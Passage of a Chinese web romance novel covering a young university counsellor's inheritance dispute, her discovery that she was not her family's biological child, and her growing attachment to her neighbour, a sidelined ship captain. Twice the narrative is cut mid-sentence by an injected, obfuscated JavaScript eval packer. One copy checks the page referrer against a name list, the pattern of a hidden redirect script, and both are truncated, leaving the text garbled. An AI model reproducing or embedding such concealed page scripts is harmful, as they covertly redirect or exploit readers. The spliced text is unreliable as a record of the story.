“先是说想侵犯我,现在反倒让我主动,”周祈越盘算着她这逻辑,眉梢微扬,嗓音含混,“你倒是挺会反客为主。” “......” 陈夏柠停止后退,侧过脸咬了下唇,眼睫颤个不停。 心想你能不能别总给我扣这么大的帽子,虽然我承认自己似乎、好像、隐隐约约对你不单纯了,但也没脸皮厚到要侵犯你。 更没有计划什么反客为主的招数! 不管怎样,面子不能丢,陈夏柠抬眼看他,一本正经道:“我都说了,昨天发消息被同事打扰,一不小心误触屏幕了。” “是嘛,那还真巧。”周祈越似信非信地打量她,岔开话题,闲散道:“你不会是打算在这还人情吧?” 陈夏柠啊了声,快速反应出他接受她的提议——让他亲回来。 但也没表达出要在大庭广众之下让他亲啊! 周祈越坦荡不畏惧的眼神,不禁让人觉得他丝毫不介意。 陈夏柠瞄了眼四通八达的大厅,现在虽是放学时间,随时会有人来。 她语气凶了些:“你敢!” “哦,我还以为你敢。”周祈越余光瞥见有人来,不再逗她,“回家吃饭。” 这语气说的,好像他们一家人似的。 周祈越利落转身,推开右边的玻璃门,等着她出去。 晚自习查班不是每天都要去的,一周有两天不去也行。陈夏柠打算今天偷个懒回家吃饭,也对接下来发生的事既紧张又期待。 还未注意到,左边推门进来的男人在一旁打量着她片刻,在她抬脚离开时喊:“陈小姐,真的是你吗?” 陈夏柠茫茫然然地回头。 男人戴着黑框眼镜,眼睛很小,文绉绉的斯文样,看起来三十多岁。 “我总算找到你了。”他欣喜若狂地走上前,太过于激动都忘记自我介绍,无措地伸手。 陈夏柠只觉得他眼熟,绞尽脑汁地想他是谁时,手腕倏然被攥住,周祈越挡在她面前,警觉地看向陌生男子,话说给她听:“你认识么?” 男人这才意识到自己唐突了,拉开了些距离,朝他身后的姑娘招呼:“陈小姐,我是宋川律师啊,你见过我的。” 宋川,律师。 陈夏柠猛然想起了什么。 ——“夏夏,宋川是我资助长大的学生,现在已经是一名大律师了。” 哦对,她见过宋川。 他是爷爷生前挺器重的律师。 陈夏柠拍了拍周祈越的肩膀,淡然一笑:“我认识他。” 宋川这么贸然找她应该是有事,她先让周祈越回去。 再三确认他两认识,他嘱咐了句不要在外面待太晚,便放心离开了。 - 夜晚降临,校园的路灯亮起。 宋川跟着她去校内咖啡馆,没忍住八卦:“陈小姐,刚刚那位是你男朋友啊?” 陈夏柠就着昏暗处弯唇笑了下,随即淡淡道:“不是,就是普通朋友。” 很快,两人先后进入咖啡馆,选了个靠里的位置。 陈夏柠给他点了杯特色拿铁:“可以尝一尝,不用喝太多,否则晚上睡不好觉。” 宋川跟她叙了一会儿旧,说自己目前在一家基金会的法务部门工作,也是今天无意间刷微博看到她的采访,才知道她是海大航海学院的辅导员。 所以他便抛下一切工作,马不停蹄地来找她了。 “陈小姐,自从陈老先生去世后,我就只是知道你去国外读研了,再也没有你的消息。”宋川谢天谢地舒缓了一口气,“本来以为要辜负陈爷爷的期待了,还好今天找到你了。” 陈夏柠听得云里雾里:“你一直在找我?” 宋川从公文包里拿出一沓文件,移到她面前:“这是暖夏基金会的所有信息。” 这个基金会陈夏柠先前有所耳闻,陈淮松爱做善事,喜欢资助学生。 而暖夏是一所关注青少年心理健康的基金会,致力于帮助青少年克服心理障碍,目前已经发展成为排名前三的公益类公司,因为陈淮松生前往里面投入了大量个人财产。 宋川看着她,正色道:“陈小姐,你才是这家基金会真正的理事长。” 陈夏柠翻阅文件的动作一停,震惊不已。 还没等她说什么,宋川又将一份文件铺到她面前,说:“这笔财产早就在你留学前,我就应该给你,可是当年陈爷爷骤然去世,你也走的匆忙......” 自从陈夏柠上了大学后,陈淮松的身体就大不如前了,经常生病住院,没过多久检查出来了心肌梗塞,当时医生说只要按时吃饭复查,好好控制就没什么大问题。 得心梗的患者就是不能受刺激,需要心态平和。 原本陈家别墅很热闹,大伯一家和陈京辉一家,就连姑姑也经常回家住,三姐弟主打的就是在老爷子面前多刷存在感,让他选定自己的孩子当继承人。 但这三姐弟少不了爱拌嘴,就陈慧棠那个暴脾气,每次都能跟人打起来。 陈淮松实在受不了了,为了让自己多活几年,吩咐人把姑姑的房间锁住,连带大伯一家也轰出去单住。 要不是看在孙女的份上,也早就把陈京辉和萧婷轰出去了。 步入大学生活,学校和家一个城东一个城西,实在太远,陈夏柠只有每周末回家。有时候因为学业忙碌,两周一回,或者一月一回都是常事。 大多时候陈老爷子在家里,面对的都是儿子儿媳妇。 陈京辉和萧婷总爱旁敲侧击地说:“爸,您都一大把年纪了,还不赶快找个人为您分忧。” 陈淮松早就看透这对夫妻,选择把这他们当成透明人,一听到这话就转头去后花园浇花。 记得那是大一下学期,四月中旬,城西的樱花开得极好。 周四那天刚好没课,陈夏柠被室友拉着去看樱花,因为离家很近,当晚她顺带回家看爷爷。 也没有提前通知家里人,临近晚饭回去的时候,家里的保姆张姨给她开门,说爷爷和爸妈大吵了一架,爷爷心烦,找江爷爷下棋去了。 陈夏柠低不可闻地叹了声气,倒也猜得出是因为什么事。 张姨说:“小姐,你去喊他们二位下来吃饭吧,我不敢。” 陈夏柠点点头上楼梯,边把身上的挎包取掉,还没到爸妈门口就听到杂乱的破碎声,令人心里发怵。 陈夏柠停在房门口反而不敢出声了,隔着一道门,夫妻俩的吵闹声清晰至极。 萧婷:“你以为我不烦吗?你爸整天装聋作哑,要不让夏夏跟他说算了。” “行了,我爸烦咱俩还不够嘛,要是哪天他也烦上夏夏,咱俩就卷铺盖走人吧。”陈京辉叹了口气,忧心忡忡地说,“我最近总是做梦,梦见咱爸知道夏夏不是他亲孙女了......” “啊呸!”萧婷给他打了个噤声,“闭好你的嘴,这件事只要咱俩不说,就永远没有人知道。” “......” 门外的陈夏柠傻傻愣住,一时不知该做何反应。 张姨见她一直没下来,亲自上去,拍了下她肩膀:“小姐,你站在这干什么啊?” 陈夏柠登时回过神,肩膀颤了下,手中的挎包掉落在地板,发出砰的声响,惊动了里面的人。 萧婷和陈京辉忙不迭打开门,瞧见陈夏柠,旋即大惊失色。 张姨跟三位说了声吃晚饭,匆匆下楼,留下他们仨人无措地面对面。 陈夏柠表情呆滞,分明是听到了什么。 萧婷沉下心,拉着她的手,安抚道:“夏夏,刚刚我和你爸在开玩笑呢,你听到什么千万别放在心里啊。” 陈京辉磕磕巴巴道:“对,你妈参加了话剧汇演,我跟你妈在...在对台词,为了帮她找灵感代入咱家了。” “......” 这种鬼话三岁小孩都不信,况且陈夏柠本就敏感。连续不安了一周,她偷偷拿着爸妈的牙刷去医院做亲子鉴定。 当她哭着把鉴定结果拿到爸妈前问个所以然时,萧婷和陈京辉也提前做好了心理准备。 说是当年她刚生产完,医院失火,婴儿都抱错了。夫妻俩在她五岁时知道她不是亲生的,并且查出她亲生父母双亡,已经是孤儿,就一直养着她。 “夏夏,有没有血缘关系已经不重要了,我们把你养大,你就是我们的孩子。” 萧婷将她抱在怀中,拍着她肩膀柔说,“爸妈无能,所以将希望寄托在你身上。这么多年做的任何事都是为了你的前途,希望我们的女儿成为人中之凤。” 陈京辉蹲到她面前,语重心长道:“你爷爷身体不好,不能受刺激,夏夏要懂事,千万不要跟他提及此事,万一你爷爷心梗突发,人没了怎么办。” “可我终究不是他的亲孙女,并没有资格成为继承人,”陈夏柠红着眼睛,说出真实的心声,“我也不想成为什么继承人。” “那夏夏你不是喜欢江逸风吗?”萧婷盯着她的眼睛说,“你也知道我们这个圈子最看重门当户对,如果让江家知道你不是真千金,别说同意你们交往了,江夫人估计都不会让你们成为朋友。” 思及此,陈夏柠心口一抽一抽地疼,被这个设想震慑住。 “我向你保证,无论以后发生什么,你会一直是我的女儿,”萧婷态度真诚地说,“我会撮合你和江逸风在一起,让你们俩日后成婚。” “可是妈妈,江逸风会喜欢我吗?” “当然!你们俩青梅竹马的感情,他还救过你,一直保护你长大。”萧婷循循善诱道,“男孩子就是开窍晚,他现在没意识到,没跟你表白,以后就会了。” “你是我们陈家的女儿,按照门当户对,完全配得上江家的儿子。” 陈夏柠信服了这套说辞,也想好好善待爸妈,尽管没有血缘关系。 也不知道是什么原因,她很想有个家又很害怕失去这个家,每当爸妈吵架时,她都会乖乖的,顺从他们。 知道自己不是真千金后,又害怕失去爷爷的疼爱,失去江逸风。 她很清楚自己害怕的东西太多了,归根结底是害怕被抛弃。 所以她选择了隐瞒,去忘记这件事,直到两年后,她大三。 2018年二月底,陈淮松乘坐的车发生车祸,被送往医院抢救。 陈夏柠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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临了之时,连自己疼爱的孙女都加入了这场欺骗。 对于这件事,陈夏柠一直心生愧疚。 她还有什么脸去接受本不属于她的东西。 她拒绝签署遗嘱,宋川算是意料之中,就当是给她一个缓冲的时间,他也不着急。 宋川说目前基金会有她的股份,以此为由,跟她互换了联系方式。 - 回家的路上,夜晚的凉风嗖嗖地往脸上刮,过往的回忆像剥洋葱那样令人泪流不止。 十九岁生日那天,陈淮松偷偷拉她到书房,准备了一份生日礼包,顺便让她签了份合同。 陈夏柠迷迷瞪瞪地签完,只顾着拆礼物问:“爷爷,你让我签的什么啊?” 陈淮松收好合同塞进抽屉里,笑得和蔼:“最近不都挺流行买保险吗,我给你买的一份人身保险。” “爷爷你可千万别被骗了。”陈夏柠不以为意地说,“那些买保险的专门逮着老人和学生推销。” “那就当我买个教训,你可千万别跟爸妈和姑姑大伯说。”陈淮松咧咧嘴,像个老小孩,“省得他们嘲笑我。” 陈夏柠:“好嘞,我保证不说。” ...... 原来从那个时候,爷爷就在计算着遗产分配问题了。 他知道公司注定要落到姐弟仨的手中,只能悄悄地把个人财产注入一个基金会中。 爷爷留下不是保险,是他的个人遗产。 他稀里糊涂地留给了她这个“骗子”。 ...... 再到大四那年,四月初陈夏柠提前完成毕业答辩,倏然收到一个陌生电话,是医院的护工。 “陈夏柠你好,陈淮松老先生想见你最后一面......” 当时她真的很懵,爷爷的身体不是控制得很好嘛,怎么会突然传来这种噩耗。 其实距离去年十月份俩人在会展匆匆一见,已经有半年的时间了。 毕竟她已经被逐出陈家了。 陈夏柠抛下一切,奋不顾身地跑向医院。 在重症监护室里,陈淮松皮肤蜡黄,消瘦得只剩下皮包骨,戴着氧气面罩昏迷着。 护工说,其他人来看往过,都没把老人家喊醒。 陈夏柠爬在病床前,握住他的手,眼泪止不住地往外流,一遍遍地喊着:“爷爷,我来了,夏夏来看你了......” 须臾,陈淮松撑着仅剩的意识睁开眼,看向她的瞬间,眼角也留着泪。 陈夏柠像个罪人一样低头忏悔:“爷爷对不起,我不该骗你.....” 陈淮松动了动手指,回握她的掌心,嘴唇翕动着。 陈夏柠倾身凑近去听他说,他的气息很微弱,说话也断断续续的。 “我其实,一直,一直都知道——” 忽地,病房安静得只剩下绵长的“滴”声。 回握她的那双手悄然落下,爷爷永远闭上了眼睛。 - “叮”的一声,电梯门打开,陈夏柠思绪回笼,抬脚走出去,迎面撞上周祈越。 “怎么回来的这么晚,十点了,给你发消息也不回。”他一口气吐槽完,转而低头耐心问,“吃晚饭了吗?” 刚问完这句,就注意到这姑娘红着眼睛。 周祈越心一颤,神色凝重起来。 “我手机没电了。”她的嗓音沙哑,整个情绪低迷模样,谎称说,“吃过了。” “你——”周祈越不自觉抬了下手,帮她把额前的碎片拿掉,又觉得说什么安慰的话都无济于事,毕竟他也不知发生了什么。 陈夏柠对他这个动作也没躲,估计也没什么心情在意这些。 “那愿不愿意来我家再吃一个夜宵,”周祈越说话变得小心翼翼,顿了下,“就当还我最后一个人情。” 40. 欲擒故纵 他的后半句,陈夏柠莫名被逗笑了。 怎么听她都不是去还人情,而是再去欠一个人情。 她才不上当,也不想再欠他什么。 既然周祈越接受一顿饭来抵消他们之间的“债务”,陈夏柠恍然觉得这是最合理的方式了,快速整理好情绪,瞧他一眼,“去我家,我给你这位债主做饭。” “......” 周祈越抬手摸了摸后颈,跟着她进屋,暗自感叹女孩子的心情变幻莫测。明明上一秒她还一副受了极大委屈的模样,下一秒她就恢复如常地跟他开玩笑。 陈夏柠打开冰箱拿出一袋速冻饺子和一把挂面,可爱的月牙眼转向他,整个人元气满满:“想吃哪个,或者给你做一桌满汉全席?大少爷。” 周祈越斜靠在岛台,嗤笑了声:“这话说的,你会做满汉全席么。” “不会啊,也就跟你客套一下。”陈夏柠咧咧嘴,认真打量了下饺子的包装,“呀,饺子过期了。” 周祈越走过来拿过她手中的挂面,确认没有过期,嘴角抽了抽:“合着我压根没有选择,征求我的意见也是客套。” “......” 陈夏柠心虚地别开眼,转去保鲜箱搜罗配菜。 周祈越站在她身后,扫了眼她家空了一半的冰箱,相比之下,自己家的冰箱时常被塞得满当当,要什么有什么。 他拖腔带调道:“怎么觉得我很吃亏啊,能收回那句话么?” 他指的是偿还方式,也在用这句话带着些许试探。 陈夏柠脊背一僵,关上冰箱门,怀中抱着青菜西红柿和鸡蛋往厨房里进。 她先往锅里放水,撕开挂面。在周祈越走进站在她旁边时,她指尖发颤,心跳节奏无端乱起来。 余光瞥见,周祈越慢条斯理地掰着青菜叶子,放到水池,拧开水龙头,打湿了手腕。 他便腾出手取下腕表,弓着脖颈,继续清洗蔬菜,悠悠地说:“我还是觉得你的提议更.....” 陈夏柠瞥了眼他随意放在琉璃台的那只百达翡翠6104G,眼底稍黯,猛地打断话:“君子一言,驷马难追。你不许反悔。” 周祈越动作稍顿,神色划过一丝落寞,而后漫不经心地笑了笑,给自己找补:“我是说,你的提议更让我找不到对象。” “嗯,很不提倡。”陈夏柠收回视线,淡淡道,“我做的面很好吃,你不吃亏。” “......” 气氛倏然沉寂下来,两人心照不宣地绕开这个话题。他洗完菜后,陈夏柠没再让他插手。 周祈越坐在饭桌上,望着面前一碗热腾腾的西红柿鸡蛋面,陈夏柠给他递了一把筷子,坐在他对面托着半边脸:“尝尝我的手艺吧。” 其实周祈越吃过晚饭了,这会儿还是让一大碗面见了碗底。 他看了眼她没怎么下降的面,闲散道:“也不瞧瞧自己瘦成什么样了,还想减肥呢。” “我没减肥。”陈夏柠干脆放下筷子,不着边际地说,“西红柿鸡蛋面是我做的最好吃的东西,但我以前最讨厌吃面条。” 周祈越神色微怔,坐直了身体看她。 陈夏柠低垂着眼,目光游离:“因为爸妈让我喜欢我就得喜欢,他们还让我喜欢弹钢琴,给爷爷听。” “其实他们不知道我有一段时间见到面条就想吐,看到钢琴就神经紧绷。” “......” 说完,她抬眼看周祈越,“是不是觉得我很奇怪,之前我大学室友听到这些也觉得很不理解。” “没有。”他摇了摇头,干净清明的眼眸锁住她,意味深长道,“只要你愿意说,我就会理解。” “还好,我现在不讨厌了,偶尔吃,也觉得挺好吃的。”陈夏柠捞起筷子低头吃面,闪开了他的目光。 周祈越的眼睛特别好看,却也有一种魔力。 每当和他对视,她都能情不自禁地表露自己的阴暗面;人前她不会说的话,不会做的事好像都会在他面前呈现出来。 陈夏柠看了下他的碗,转移话题:“你还想吃吗?” “吃饱了。”周祈越拉开凳子,站起身,拿起碗筷去厨房。 陈夏柠紧跟上去,拦住他想洗碗的动作,将琉璃台的腕表递给他,“时间也不早了,早点回家休息吧。” “好。”周祈越将腕表塞进口袋里,偏头看了她一眼,“无论以前怎样,你现在是自由的,不喜欢吃的东西那就不吃,不想做的事那就不做。” 陈夏柠点头嗯了一声,没分给他一个眼神。 - 经过一夜的发酵,采访视频受到广泛传播,上班时同事们都调侃着她火了之类的话,还建议她趁热度开通个人账号积累粉丝。 陈夏柠自然不感兴趣,也不需要别人的关注。 她的本意就是借此机会为周祈越正名,正如所愿,现在微博上有关凌极号的热议,不再把矛头指向周祈越。 志愿者团那边的效率挺高,会长下午就将入选名单公布出来了,陈夏柠浏览了一遍看到几个熟悉的名字。 后续就需要周末接送志愿者去朝阳岛支教,她和林梅校长打电话协商了下,最快这周末就可以实行。 挂完电话,林梅微信发过来一条十几秒的视频。 教室后排窗口书桌上放着一个鱼缸,三位小朋友正在给两条金鱼喂食。 仅仅看背影,也能认出是冯志强、冯志鑫和王小壮。 那两条金鱼是周祈越送给她的,原本她一直养着,离开前陈夏柠不方便带走,就将金鱼留给小朋友们了。 现在金鱼长大了,也被养得生龙活虎。 望着视频里的金鱼,陈夏柠不禁想起前天夜晚,她熬夜剪辑周祈越的视频,将之前遗漏的视频都看了个遍。 意外发现,只要周祈越拿起摄像机,就算她站在人群的角落里,也都是镜头的焦点。 以前听人说—— 喜欢你的人,无论你站在哪,都是他眼中的主角。 思及此,陈夏柠又想起那个问题——周祈越会喜欢我吗? 退一万步说,就算没有百分百的喜欢,也是有好感的吧。 就像她现在也一样。 可是他们之间...... 鹿雯侧过身喊她:“陈老师,你们班的奖学金和助学金敲定了吗?” 陈夏柠晃过神,怔了一下:“奖学金按照成绩排名定好了,助学金的评定......” “很头疼对不对?”鹿雯耸了耸肩,无奈道,“学生私底下都议论导员只把助学金分给自己关系好的班干部。” 陈夏柠会心一笑:“所以我就不私自做决定,准备把班里没提交助学金的学生一并喊过来,跟我一起评选。” “欸,这个办法好啊。”鹿雯兴味盎然地问,“什么时候?我也去观摩观摩。” 陈夏柠看了眼时间,拿起文件夹起身说:“还有五分钟他们就下课了,一起去吧。” “我这边还有个邮件要回。”鹿雯说,“在哪个教室?” “C教101。” “好,你先去。” 教室办公区在A教三楼,和C教的楼栋面对面,考虑到快要下课,她就没绕着走廊,先下一楼再通过中间的广场去对面。 不料,刚下电梯出来,就撞上了要乘的陈慧棠,见到她,也不进去了。 陈夏柠面色一沉,本能地保持着距离,平静地说:“这里是学校,你要想闹事,我随时叫保安。” 大厅角落里有个休闲区,陈慧棠一屁股坐在沙发上,命令道:“坐下,我说完话就走。” 陈夏柠撇了眼时间,不情不愿地照做,开门见山道:“你放心,爷爷的资产我一分都不会拿。” 昨天宋宴找到她告知遗嘱的事,倒让她想明白陈慧棠闹事的原因了。 陈氏集团都让大伯和陈京辉分得干干净净,陈慧棠身为嫁出去的女儿,一分没捞到,她肯定不甘心。 根据宋宴所说,陈慧棠私下找过他很多次,打听私人财产的事,这就说明她已经查到基金会的猫腻。 “算你有点自知之明,快点把钱交出来。”陈慧棠抱着双臂,哼笑了声,“我爸说过,他的资产属于陈家人,你假扮了二十多年的陈家子孙,还骗我爸的财产,真算是便宜你了。” 她骂起人就容不得别人插一句,越说越激动,指着陈夏柠的鼻子贬低:“要不是我们家抚养你长大,你一个没人要的孤儿早就不知道死到什么荒郊野岭了,哪还轮得着你在这人模狗样地当大学辅导员,你简直就是......” “啪”的一声,陈夏柠将文件扔在桌面,冷冰冰地看她:“如果你今天是来挖苦我的,那你现在可以走了。” 陈慧棠谄笑了声,继续挑衅:“这就生气了?我说的不都是事实吗?” 陈夏柠就不该相信能跟一个泼妇好好说话,压制着心里的火气,面无表情道:“爷爷的钱不属于我,也不属于你,他所有的资产都属于慈善事业。” “什么?!你要把我爸的钱捐了!”陈慧棠瞪大双眼,猛地站起身。 陈夏柠不想多说,捞起文件夹要走,却被陈慧棠攥住胳膊,她试图挣脱,“你干什么,放手!” “你这个没良心的白眼狼,”陈慧棠偏不放手,还去抓她头发,“你要是敢捐我爸的钱,我天天缠着你,让你不得安生......” 鹿雯下来时看到两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哎呀,前段时间接了个大项目,太忙了嘛。”许佳念秒变阔绰富婆,“今晚请你吃大餐,姐有钱了。” “那行,你定时间和地点吧。”陈夏柠正心烦着,也想找个人诉苦水了。 许佳念说五点半来接她,还有一个半小时。 好长时间没跟好姐妹逛街了,陈夏柠想精心打扮一下,回家洗澡洗头,又是化妆。 好不容易完事,反倒纠结穿什么衣服了。 许佳念发来语音消息:“我穿的就是裙子,你跟我一样呗。” 陈夏柠开始在衣柜里捯饬自己的裙子。 许佳念赶到小区门口正好是五点半,出于对陈夏柠这个选择恐惧症的了解,决定亲自上楼帮她挑选衣服。 但她把猫也带上了,小橘子这两天总拉肚子,许佳念准备吃完饭带它去宠物医院一趟。 出了电梯左右两边有两户,陈夏柠住在左边1302,许佳念还没走两步,小橘子突然从她怀中跳下来。 谁知一回头,小橘子缩在隔壁1301门口,整个头钻在门框角落,试图把门推开的样子。 许佳念挠了挠头挺疑惑,走过去将小橘子抱起来,给它顺毛:“走错地方啦。” 下一秒,房门打开,她好像看见偶像剧的男主出来了。 许佳念激动得嘴皮子打颤:“学...学长,校...校草。” “......” 周祈越愣了三秒,对这个女孩子还是有点印象的,给她指路:“你要找的人在1301。” 伴随着“咔哒”一声,隔壁的门好巧不巧地开了。 陈夏柠顶着白开水妆,白色吊带长裙外搭白色开衫毛衣,乌黑的长发搭在双肩,露出好看的锁骨。 整个慵懒成熟风,给人一种清透纯欲美。 本来神采奕奕地出门,但在看见许佳念和周祈越都在望着她,三人同框出现时,陈夏柠只觉得无端被雷霹了一道。 “怎么回事,怎么回事?!” 许佳念坐在主驾驶,手舞足蹈地审判她,“你最好赶快跟我解释一下你俩同居的问题。” “......” “你好好开车行吗,我慢慢跟你说。”陈夏柠缩在副驾驶,一个头两个大,“念念你能不能不要乱用词,什么同居啊,那是邻居好吗!” “差不多差不多。”许佳念双手紧握方向盘,目视前方,颇为认真地分析,“按照偶像剧的套路,近乡情更怯,同居是迟早的事。” 陈夏柠:“......” 41. 门当户对 秋日世纪公园的景色成为火爆打卡地,连带着里面的水上餐厅也火热起来。 推开包厢门,周祈越悠哉悠哉地走进来,扫了眼谢泽和张瑞,啧啧两声:“有这空闲时间不跟女朋友约会,约我出来干嘛,就算约我出来——” 四方桌,周祈越坐在他两对面,瞥见窗外浪漫的夜景,该餐厅的特色,吃饭也赏心悦目,自嘲笑了下:“还专门选择情侣餐厅,膈应我呢。” “你看看,他又来了。”谢泽摊了摊手,看了眼旁边打扮的规整的老大哥,“也就咱能受得了他,哪个姑娘能收得了这个妖孽。” 周祈越用挑剔的目光翻阅菜单,边伸出修长的手指轻敲桌面,语调悠悠又欠揍地,“你爹是妖孽,那你是什么?” “......” 谢泽“哎呦”一声,挺直腰板瞪着他,气极反笑:“我就纳闷了,你这张嘴是怎么混到船长的职位的?不会被群殴嘛!” 张瑞这位老大哥看够了戏,噙着笑拍了下谢泽肩膀,将画风扭转:“老郑在国外跑船,咱仨好不容易聚齐,就不能说点正经事。” “能有什么正经事。”周祈越专注勾选菜单,“这次你两请客,我不客气了啊。” 周祈越对朋友向来慷慨,在请客吃饭这件事上分得不清,但是大多时候,他说不请客,最后悄无声息把钱付了的人却是他。 “行,这次我两请客。”张瑞特意补了句,“我两付钱。” 菜上桌后,谢泽又点了瓶酒,给两人满上。 三人碰杯时,周祈越用白水代替,谢泽拧着眉,不禁吐槽:“不是吧,你都毕业这么多年了,这种烟酒不沾的好学生人设能不能卸下?偶像包袱啊。” “......” 张瑞附和着笑了笑:“周船长自律的很。” “我开车来的,大哥。”周祈越习惯了跟谢泽斗嘴,今时今日身份不同了,挺不适应张瑞口中的周船长,“别跟我整那些阴阳怪气的,我什么情况不人尽皆知么。” “所以你打算后续怎么办?”张瑞今天来就是跟他说这事的,正眼看他,“真没公司愿意要你了?” 虽然网络上的舆论扭转,周祈越政治立场这块没什么问题了,但危急时刻凌极号改变航线致使船队被B国海警围攻,他身为船长不可避免要承担责任。至于什么责任,责任的大小,内部争议和调查尚且没有定论。 目前来说,其他航运公司不太敢任用他。 周祈越不咸不淡道:“等最终调查结果出来再说吧。” “要是结果一直不出来呢?你就天天闷在书房里画那些设计图啊。”谢泽剥着螃蟹壳,旁观者清的态度,“那个大副一口咬死你,还真指望外人能查出真相?” 张瑞点头认同:“的确,你也不能干等着吧,最怕海洋局也不了了之。” “你可以来我这个造船公司,就是不能开船。”谢泽顿了一下,讳莫如深地看他,“或者去上远集团。” 周祈越切了一声,满脸写着拒绝。 “不过,我倒是挺佩服那位敢当着电视台采访为你发声的老师。”张瑞想了一下,双手支着下巴,圆滚滚的眼睛转向他,“她叫陈夏柠是吧,你们什么关系?” 周祈越夹菜的筷子一停,随即自顾自地闷头吃菜,“就普通朋友。” “呵呵,说这话你不打脸吗,”谢泽一语道破,“上周我回校讲座,就是那位陈老师接待的我,我们四个还一起吃饭来着。” “我看一点他两都不像朋友,周祈越铁定喜欢她。” “那敢情好啊,周少爷总算开窍了。”张瑞像个老父亲似的眉开眼笑,朝他点点下巴,“她喜欢你吗?你们进展到什么程度了?” 周祈越正想说你们少八卦。 话茬又被谢泽抢了去,“就算人家姑娘喜欢他,也受不了他这臭脾气啊。要是有进展了他不得天天嘚瑟,还有闲心跟咱聚会吗。” “.......” “他这种嚣张的大少爷拉不下一点面子,估计等着人家姑娘跟他表白呢......” 周祈越用筷子敲了敲瓷碗,“当当”的响声打断话,冷不丁地睨着谢泽,“你一个大老爷们嘴巴这么碎?” “欸,你小子怎么油盐不进呢!”谢泽急了,“能不能认真听我说完话!” 张瑞的手机响了,起身去外面接电话,任由屋内的场面发酵着。 “周祈越你什么时候这么怂了,连承认喜欢她都不敢!”谢泽喝多了,指着他激情喊麦,“这追女生不能死装,你得让她知道你的心意,懂不懂。” 周祈越只想耳朵清静,敷衍了事道:“知道了知道了。” “你知道什么啊?!”谢泽又喝了半杯白酒,估计自己也不知道自己在说什么,“你知道陈老师在学校受欺负了吗?” 周祈越神色稍愣,这才认真瞧他:“把话说清楚。” 谢泽眯着眼趴桌上,含混不清道:“雯雯说,前两天有个疯女人来学校打陈老师,被好多学生围观,最后那个疯女人被保安带走了。” “雯雯问她,那个中年女人是谁,她也不说。” “雯雯说啊,陈老师估计遇到什么麻烦了,这两天总是心事重重的,还嗔怪你怎么不安慰人家。” “我说,周祈越狗嘴里吐不出象牙,根本不会安慰人,活该万年单身。” “......” 说完,谢泽睡过去了。 这时张瑞推开门进来,兴致勃勃地说:“刚得到消息,海事局搜救分局正在招人,你不是会开飞机嘛,要不你先从事海上营救,等以后有机会了再继续当船长?” “......” 周祈越面色沉重,瘫靠在椅背上,低着头看手机,整个魂不守舍的模样。 张瑞抬手敲了下桌面,“周祈越,你听我说话了没?” “......” 与此同时,一楼大厅就餐区。 在许佳念的逼问下,陈夏柠大费口舌将她和周祈越的故事复述了一遍,这会儿饿得肚子咕咕叫,捞起筷子夹菜就着米饭吃。 “我果然没看错人,”许佳念两只拳头抵在下颌,与有荣焉地咂咂嘴,“我们的校草学长是这么正直,有爱心的暖男。” 陈夏柠嘴里嚼着米饭,被她浮夸的表情呛了下,咳嗽了两声:“他也有缺点,自恋,狂妄,不好惹。” “你不要太挑剔好不好,对于一个重量级帅哥来说,你说的这些算缺点吗?”许佳念目光灼灼地看她,“你敢说不喜欢他吗?” 陈夏柠眨了眨眼,默了三秒,讷讷道:“就...就只是有好感而已,我这三分钟热度,过段时间就不喜欢了。” “好感?”许佳念像位洞察人心的侦探,戳了下她鼻尖,“夏夏,你一说慌就磕巴,眼神乱飘。现在还是这样。” “......”陈夏柠闷头认真吃饭。 “你到底在顾虑什么啊,”许佳念不容她继续当鸵鸟,语气也着急了起来,“我跟你说了很多次,不是所有人都是江逸风。你也该去寻找自己真正的幸福了。” “这次不是江逸风。”陈夏柠早就不把这个人放在心上了,倏然郑重其事地问:“念念,你持有门当户对这种观念吗?” 许佳念一向比较理想主义,茫然地啊了声,摇头:“这都是老一辈人的思想吧。” “我以前也不相信的,”陈夏柠眸色一沉,“只是后来......” 关于“门当户对”这个词,陈夏柠在知道自己不是真千金后听得最频繁。 最初萧婷劝她隐瞒自己假千金的身份,就是因为他们这些大家族看重门当户对。如果说出来,江家定会反对她和江逸风。 爸妈口口声声说他们不在乎血缘关系,会将她视如己出。 可陈夏柠也能明显感觉爸妈、大伯和姑姑也持有这种观念,所以格外害怕有一天自己的身份公之于众了会是如何不堪的局面。 因此她在陈家变得更谨小慎微,生怕做错了什么事,惹怒他们,令他们厌烦。 陈淮松出车祸住院期间,在五月的第一个周末,陈慧棠召集家里其他长辈,唯独她这个晚辈。 客厅内,陈夏柠望着大伯、大伯母、姑姑和姑父,心里不好的预感袭上心头。 直到萧婷和陈京辉撂下工作赶回来,前者一进门就抱怨:“干什么啊,咱爸卧床不起,公司的事快忙死我两了,你们真的是不担当大任不知辛苦。” 陈慧棠早就受够她仗着自己有个宝贝女儿,整天得意的模样了,先是将DNA鉴定报告甩她脸上,瞥了眼陈夏柠,哂笑:“跟大伙解释解释你从哪弄来的这个野种吧?” 陈夏柠浑身僵住,脑袋嗡嗡响。 这还是她第一次,这么,直观地被称作,野种。 虽然做过被揭发的噩梦,但事实原本想象的更为糟糕。 陈京辉和萧婷平日挺直的脊梁骨一下子弯起来,一边装傻不知道怎么回事,一边拉着大伯和姑姑的手苦苦哀求:“咱爸不能受刺激,千万不要跟他说,以后公司我们三家平分,我们一家人不要争了好不好。” “......” 一家人。 陈夏柠站在角落里望着这一家人,自己算是彻底被排除在外了。 很快,江家人也知道了她的真实身份。 周日下午,陈夏柠像往常一样去找江逸风一起回校,江父和江母冷眼看她。那种感觉可以形容为,她走错了地方,不该和他们站在一方领土。 后来直接听见江母拉着江逸风说:“你和她趁早划清界限,不是什么人都配得上我儿子的。” 江逸风:“妈,你抽什么风,之前不是使劲儿唆使我俩在一起吗?” “之前她是陈家的亲生女儿,现在她是冒牌货,”江母言语刻薄,“一个没名没分的野丫头,早晚会被逐出家门,你休想和她在一起!” “......” 陈夏柠强忍着最后一丝坚强,自认为江逸风和其他人不一样——从小到大一直保护着她的少年,坦荡正直。 